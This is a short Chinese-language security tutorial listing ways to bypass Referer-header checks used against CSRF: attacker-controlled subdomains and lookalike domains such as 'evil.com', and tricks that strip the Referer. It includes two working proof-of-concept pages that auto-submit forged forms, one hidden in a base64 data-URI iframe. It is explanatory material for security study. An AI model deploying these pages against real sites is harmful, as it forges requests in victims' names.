繞過referer校驗的一些小知識
對referer做校驗一般是對csrf進行防範的手段之一,但是很多時候不經意間還會增加其他攻擊的難度,如xss,jsonp劫持等等。
這裏對referer的繞過做一個小的總結:
目標網站是:www.domain.com
攻擊者的域名是:evil.com
1.使用子域名的方式繞過,如下:
http://domain.evil.com/
2.註冊一個類似的域名,如下:
http://www.evildomain.com/
3.將域名以參數的形式接下url後面
http://www.evil.com/?http://www.domain.com
4.利用空referer
1)利用ftp://,http://,https://,file://,javascript:,data:等偽協議進行跳轉,如下
<html>
<body>
<iframe src="data:text/html;base64,PGZvcm0gbWV0aG9kPXBvc3QgYWN0aW9uPWh0dHA6Ly9hLmIuY29tL2Q+PGlucHV0IHR5cGU9dGV4dCBuYW1lPSdpZCcgdmFsdWU9JzEyMycvPjwvZm9ybT48c2NyaXB0PmRvY3VtZW50LmZvcm1zWzBdLnN1Ym1pdCgpOzwvc2NyaXB0Pg==">
</body>
</html>
2)添加<meta name="referrer" content="never">,poc如下
<html>
<meta name="referrer" content="never">
<body>
<script>history.pushState(‘‘, ‘‘, ‘/‘)</script>
<form action="http://127.0.0.1/test.php">
<input type="submit" value="Submit request" />
</form>
<script> document.forms[0].submit(); </script>
</body>
</html>
3)https跳到http時也沒有referer
5.如果受信任的網站中可以添加鏈接,可以在受信任的網站上添加鏈接,但是不支持post的csrf
6.利用url跳轉
7.結合受信任的網站的xss漏洞進行利用
繞過referer校驗的一些小知識